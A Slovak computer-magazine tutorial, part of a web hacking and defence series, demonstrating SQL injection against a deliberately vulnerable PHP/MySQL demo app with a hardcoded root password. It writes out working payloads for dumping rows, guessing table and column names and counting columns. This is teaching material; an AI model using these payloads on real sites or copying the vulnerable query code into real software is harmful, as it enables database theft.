Image
16.6.2016 0 Comments

WWW hacking a obrana / 6. časť

V po­dsta­te všet­ky da­ta­bá­zo­vé server­y MySQL, Po­stgreSQL aj MS SQL sú prib­liž­ne rov­na­ko nác­hyl­né k úto­kom ty­pu SQL In­jec­tion. No med­zi útoč­ník­mi jed­noz­nač­ne vy­hrá­va vďa­ka nie­koľ­kým roz­die­lom MS SQL server. Útoč­ník má uľah­če­nú prá­cu o to, že MS SQL server mu do­vo­lí spúš­ťať mul­ti-queries – viac prí­ka­zov od­de­le­ných ; . A ne­poc­hyb­ne aj vý­pi­som da­ta­bá­zy, kto­rá rea­gu­je na chyb­ne za­da­né prí­ka­zy veľ­mi dob­re.

V pre­doš­lej čas­ti se­riá­lu sme upo­zor­ni­li na to, že ce­lý prob­lém SQL In­jec­tion spo­čí­va v neo­šet­re­ní '. Ma­li sme však na mys­li kon­krét­ne náš prík­lad, kto­rý sme uvied­li. V mno­hých reál­nych si­tuá­ciách vô­bec nej­de len o jed­no­duc­hú úvod­zov­ku, ale o kaž­dý vstup do da­ta­bá­zy. A ako te­raz uvi­dí­te, na to, aby sme zis­ti­li, či je webo­vá ap­li­ká­cia zra­ni­teľ­ná vo­či SQL In­jec­tion, sta­čí za­dať mies­to čís­la (in­te­ger) ne­ja­ký znak, nap­rík­lad b (char).

Uká­že­me si kon­krét­nu ap­li­ká­ciu, kto­rá bu­de na spô­sob sys­té­mu, kto­rý po­dľa čís­la (in­te­ge­ra) náj­de v da­ta­bá­ze kon­krét­ny člá­nok a po­kú­si sa ho zob­ra­ziť.

For­mu­lár zo sú­bo­ru in­dex.html:

<form ac­tion="dbc_sql.php" met­hod="get">
<td><b>Vý­ber ka­te­gó­rie (od 1-12): </b></td>
<td> <in­put na­me="ka­te­go­ria" ty­pe="text" si­ze=100></td>
<td><in­put na­me="ak­cia" ty­pe="sub­mit" va­lue="Zob­raz"></td>
</form>

Vy­tvo­re­nie da­ta­bá­zy a ta­buľ­ky:

CREA­TE DA­TA­BA­SE clan­ky;

CREA­TE TAB­LE tex­ty (na­zov VAR­CHAR(100) NOT NULL, id INT NOT NULL
AUTO_IN­CRE­MENT, PRI­MA­RY KEY (id));

 

IN­SERT IN­TO tex­ty VA­LUES ("No­ve server­y v pre­da­ji", id);
IN­SERT IN­TO tex­ty VA­LUES ("Anti­vi­ru­so­ve sys­te­my", id);
IN­SERT IN­TO tex­ty VA­LUES ("Pre­daj no­te­boo­kov vzras­tol", id);
IN­SERT IN­TO tex­ty VA­LUES ("Ako (jed­no­duc­ho) na Win­dows Vista", id);
IN­SERT IN­TO tex­ty VA­LUES ("Prog­ra­mo­va­nie v C++", id);
IN­SERT IN­TO tex­ty VA­LUES ("In­sta­lo­va­nie a od­in­sta­lo­va­nie ova­da­cov na gra­fic­ke kar­ty", id);
IN­SERT IN­TO tex­ty VA­LUES ("Maximal­na kom­pri­ma­cia", id);
IN­SERT IN­TO tex­ty VA­LUES ("Pre­vod su­bo­rov do MP3", id);
IN­SERT IN­TO tex­ty VA­LUES ("MP3 preh­ra­va­ce bu­duc­nos­ti", id);
IN­SERT IN­TO tex­ty VA­LUES ("Vy­hla­da­va­nie in­for­ma­cii na webe", id);
IN­SERT IN­TO tex­ty VA­LUES ("Pi­se­me de­sia­ti­mi pr­sta­mi", id);
IN­SERT IN­TO tex­ty VA­LUES ("Ak­tua­li­ty zo sve­ta IT", id);

Napl­ni­li sme da­ta­bá­zu 12 člán­ka­mi, kto­ré ma­jú in­dex od 1 do 12.

Sú­bor db_sql.php:

<?php
$pri­poj = mysql_con­nect('127.0.0.1:3306', 'root', 'hes­lo123');
mysql_se­lect_db("clan­ky", $pri­poj);

if($ak­cia=="Zob­raz") {

$sql_p =  "SE­LECT * FROM tex­ty WHE­RE id = ".$ka­te­go­ria;
$re­sult = mysql_query($sql_p) or die(mysql_error());
mysql_clo­se($pri­poj);

whi­le ($row = mysql_fetch_array($re­sult, MYSQL_NUM)) {

ec­ho "<br>Zob­ra­ze­nie ka­te­go­rie č. <font co­lor=blue>".$row[1]." ".$row[0]." </font>.";
}
} el­se {
ec­ho "Chy­ba pa­ra­met­ru 'ak­cia'";
}
? >

 

Po­znám­ka: V mno­hých do­ku­men­toch za­obe­ra­jú­cich sa SQL In­jec­tion sa vô­bec nes­po­mí­na roz­diel v prí­pa­de rôz­nych ty­pov zá­pi­sov kó­du PHP. Je roz­diel v SQL In­jec­tion, ak prog­ra­má­tor za­pí­še prí­kaz SQL nas­le­du­jú­ci­mi spô­sob­mi.

$sql_p =  "SE­LECT * FROM tex­ty WHE­RE id = ".$ka­te­go­ria;
$sql_p =  "SE­LECT * FROM tex­ty WHE­RE id = $ka­te­go­ria";
$sql_p =  "SE­LECT * FROM tex­ty WHE­RE id = '$ka­te­go­ria'";

Roz­diel je v tom, že pri pr­vých dvoch spô­so­boch útoč­ník nev­kla­dá ' pred prí­kaz SQL, ale v tre­ťom prí­pa­de mu­sí.
My te­raz po­uži­je­me pr­vý spô­sob (tak ako vy­ze­rá vo vý­pi­se db_sql.php), kto­rý sa u prog­ra­má­to­rov vy­sky­tu­je naj­čas­tej­šie.
Ak útoč­ník chce zís­kať vý­pis všet­kých po­lo­žiek v da­ta­bá­ze, vlo­ží do po­líč­ka prí­kaz 1 or 1=1--.

URL bu­de vy­ze­rať tak­to:
http://lo­cal­host/dbc_sql.php?ka­te­go­ria=1 or 1=1-- &ak­cia=Zob­raz

A vý­sled­ný prí­kaz SQL
SE­LECT * FROM tex­ty WHE­RE id = 1 or 1=1--za­ko­men­to­va­ná časť

Dôj­de k vy­pí­sa­niu ob­sa­hu ce­lej da­ta­bá­zy. Ta­ké­to úto­ky mô­žu byť ne­bez­peč­né aj z po­hľa­du útoč­ní­ka, kto­rý chce za­hl­tiť server (útok DoS), pre­to­že útoč­ník po­sla­ním 1 or 1=1-- na cie­ľo­vý server pri­nú­ti pre­beh­núť ce­lú da­ta­bá­zu člán­kov a za­čať ich vy­pi­so­vať. V ta­kom prí­pa­de útoč­ník ne­pot­re­bu­je ani 1000 ov­lád­nu­tých (zom­bie) po­čí­ta­čov a zvlád­ne to aj so 100, po­dľa to­ho, koľ­ko server vy­dr­ží. Pred­stav­te si veľ­ké server­y, kto­ré ob­sa­hu­jú nie­koľ­ko ti­síc člán­kov + ob­ráz­ky vo vy­so­kom roz­lí­še­ní.

V prí­pa­de, že ta­buľ­ka v da­ta­bá­ze ob­sa­hu­je viac stĺpcov ako tá na­ša, s kto­rou pra­cu­je­me (tá ob­sa­hu­je dva stĺpce), mô­že ob­sa­ho­vať nap­rík­lad has­ho­va­né hes­lá po­uží­va­te­ľov, ha­cker chce dos­tať aj tie a mu­sí zis­tiť ná­zov ta­buľ­ky a stĺpcov. To sa mu mô­že po­da­riť nas­le­du­jú­cim kó­dom, kto­rý bu­de in­jek­to­vať.

Zis­te­nie náz­vu ta­buľ­ky:
xyz AND 1=(SE­LECT COUNT(*) FROM po­kus_omyl_na­zov_ta­bul­ky)--
spô­so­bí
Tab­le 'clan­ky.po­kus_omyl_na­zov_ta­bul­ky' doesn't exist

Ha­cker skú­ša rôz­ne náz­vy ta­bu­liek, kým neu­hád­ne ten správ­ny. To, že uhá­dol ná­zov ta­buľ­ky, zis­tí tým, že da­ta­bá­zo­vý server ne­vy­pí­sal chy­bo­vé hlá­se­nie.

Ad­re­sa URL:
http://lo­cal­host/dbc_sql.php?ka­te­go­ria=xyz++AND+1%3D%28SE­LECT+COUNT%28*%29+FROM+po­kus_omyl_na­zov_ta­bul­ky%29--++&ak­cia=Zob­raz

Zis­te­nie náz­vu po­ľa (field), co­lumn ta­buľ­ky:
Xyz
Spô­so­bí
Un­known co­lumn 'xyz' in 'whe­re clau­se'

Ta­kis­to aj tu mu­sí útoč­ník do­sad­zo­vať rôz­ne náz­vy stĺpcov, kým net­ra­fí ten správ­ny. Ak ha­cker do­sa­dí ná­zov stĺpca id, dôj­de k vy­pí­sa­niu ce­lé­ho ob­sa­hu da­ta­bá­zy.

Ad­re­sa URL:
http://lo­cal­host/dbc_sql.php?ka­te­go­ria=id&ak­cia=Zob­raz

Zis­te­nie po­čtu stĺpcov:
Ná­zov ta­buľ­ky mu­sí se­dieť, v tom­to prí­pa­de „tex­ty“:
1 AND(SE­LECT * FROM tex­ty ) = 1--
MySQL nám po­skyt­ne chy­bo­vý vý­pis.

Ope­rand should con­tain 2 co­lumn(s)

Ad­re­sa URL:
http://lo­cal­host/dbc_sql.php?ka­te­go­ria=1+AND%28SE­LECT+*+FROM+tex­ty+%29+%3D+1--&ak­cia=Zob­raz

Útoč­ník väč­ši­nou expe­ri­men­tu­je. SQL In­jec­tion je je­den z naj­lep­ších prík­la­dov na to, aby prog­ra­má­tor, kto­rí sa bez­peč­nos­ti ne­ve­nu­je, po­cho­pil, na čo sú útoč­ní­ko­vi dob­ré zdro­jo­vé kó­dy ale­bo as­poň ma­lé frag­men­ty z nich. Pre­to­že nie­ke­dy je veľ­mi ťaž­ké zis­tiť náz­vy ta­bu­liek ale­bo stĺpcov. Nao­pak, ino­ke­dy nám ich sa­ma ap­li­ká­cia vy­pí­še ale­bo do­kon­ca ich útoč­ník uhád­ne na pr­výk­rát. Pre­to ta­buľ­ku s po­uží­va­teľ­mi ne­na­zý­vaj­te „uzi­va­te­lia“, ale nap­rík­lad „re­gis­tro­va­ni_uzi­va­te­lia_of_web_ap­pli­ca­tion“. Pred SQL In­jec­tion to sí­ce neoc­hrá­ni, ale as­poň útoč­ník ne­bu­de mať veľ­kú šan­cu, že sa mu po­da­rí uhád­nuť ná­zov ta­buľ­ky.

Niek­to­ré ďal­šie mož­né vstu­py na na­ru­še­nie da­ta­bá­zy:

id  AND na­zov IS NOT NULL
id
id is not null
1 OR na­zov IS NOT NULL
3 OR id > 6
10 OR id < 6

Mož­nos­tí je nao­zaj veľ­mi ve­ľa, a pre­to je ob­ra­na pro­ti SQL In­jec­tion ťaž­ká vte­dy, keď tre­ba ak­cep­to­vať aj špe­ciál­ne zna­ky (úvod­zov­ky atď.).

Zá­ver
Kaž­do­pád­ne dob­re za­bez­pe­čiť webo­vú ap­li­ká­ciu pred všet­ký­mi zná­my­mi typ­mi úto­kov je veľ­mi ťaž­ké. Vy­ža­du­je to ve­ľa ča­su pri tes­to­va­ní kon­krét­nej ap­li­ká­cie a, sa­moz­rej­me, aj po­uži­tie auto­ma­ti­zo­va­ných nás­tro­jov. A na­bu­dú­ce sa už mô­že­te te­šiť na da­ta­bá­zy po­sta­ve­né na MS SQL Server.

Autor: Ján Chovanec

Nechajte si posielať prehľad najdôležitejších správ emailom

Mohlo by Vás zaujímať

Ako na to

Ako zbaviť fotky hmly

08.12.2016 11:59

Hmla alebo dym sú často veľmi kreatívne nástroje. No všetkého veľa škodí. Fotka potom stráca kontrast a v podstate na nej nič nevidieť. Hmlu môžete neraz následnými úpravami odstrániť alebo zredukovať ...

Ako na to

Užitočné SW nástroje

08.12.2016 11:53

AllDup v4.0.3 Určenie: program na vyhľadávanie a odstraňovanie duplicitných súborov Vlastnosti: duplicitné súbory sa vyhľadávajú len na zvolených diskových jednotkách alebo len v rámci vybraných ...

Ako na to

Fotografovanie s bleskom

08.12.2016 11:47

Ak máte moderný fotoaparát so vstavaným alebo externým bleskom, zdá sa vám téma článku triviálna. Jednoducho nastavíte vhodný režim, vyberiete najlepšiu kompozíciu záberu, exponujete a o zvyšok sa už ...

Žiadne komentáre

Vyhľadávanie

Kyocera - prve-zariadenia-formatu-a4-s-vykonom-a3

Najnovšie videá